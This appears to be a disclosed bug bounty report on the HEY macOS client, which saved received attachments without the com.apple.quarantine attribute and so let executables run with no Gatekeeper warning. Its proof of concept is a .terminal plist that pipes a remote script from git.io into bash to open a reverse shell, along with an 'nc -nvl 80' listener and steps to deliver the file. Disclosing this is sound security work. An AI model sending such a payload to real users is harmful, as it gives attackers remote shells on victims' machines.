Lack of quarantine macOS attribute(com.apple.quarantine) leads multiple issues including RCE
The HEY macOS client failed to apply the com.apple.quarantine attribute to executable files received through its inbox, so Gatekeeper did not warn the user before running them. An attacker could send a malicious executable that, once opened by the victim, ran code on their machine.
- Triaged in 40 hours
- Fixed in 6 months
- Paid in 40 hours
- Disclosed after 6 months
Hi, basecamp team.
HEY macOS client does not properly validate file uploads on its macOS inbox. That is because, by not setting the com.apple.quarantine attribute in the metadata of an executable file when it is uploaded, you allow the file to be executed on macOS without being checked by Gatekeeper.
Basically, the bug here is that when sending an executable as a message, when opening it, the "file cannot be opened because it is from an unidentified developer" doesn't pop-up, the executable just gets executed
As a PoC(i prepared a video) I used a .terminal file, containing a backdoor payload.
Steps-to Reproduce
- Create a .terminal file with the following code:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>curl -Ls https://git.io/vXd2N | bash -s localhost 80 > exploit.sh;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
- Send a mail with that file as an attachment
- open another terminal window and execute:
nc -nvl 80 - As a victim download and open
.terminalfile, this will gain you a shell from the terminal window were you executednc -nvl 80. As you can see, there is no alert for running Executable
PoC video
For Further Info
for further info check the following reports from the person who found this vulnerability:
Impact
An attacker can execute code on the victim's computer via the HEY macOS app.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the macOS client wrote received attachments to disk without applying the com.apple.quarantine extended attribute, bypassing Gatekeeper checks.
Impact
An attacker could execute code on the victim's computer through the HEY macOS app, with no Gatekeeper warning shown.
What the attacker needed
HEY macOS client; victim opens the received file
How it was found
- Create a .terminal file containing a command payload.
- Send an email with that file attached.
- Start a listener on the attacker machine.
- Have the victim download and open the .terminal file, which runs the payload and gives a shell.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
macOS marks files downloaded from the internet with a hidden flag called the quarantine attribute. When that flag is present, Gatekeeper checks the file and warns you if it is from an unknown developer. Here the app saved received files without that flag, so a dangerous file could run with no warning at all.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.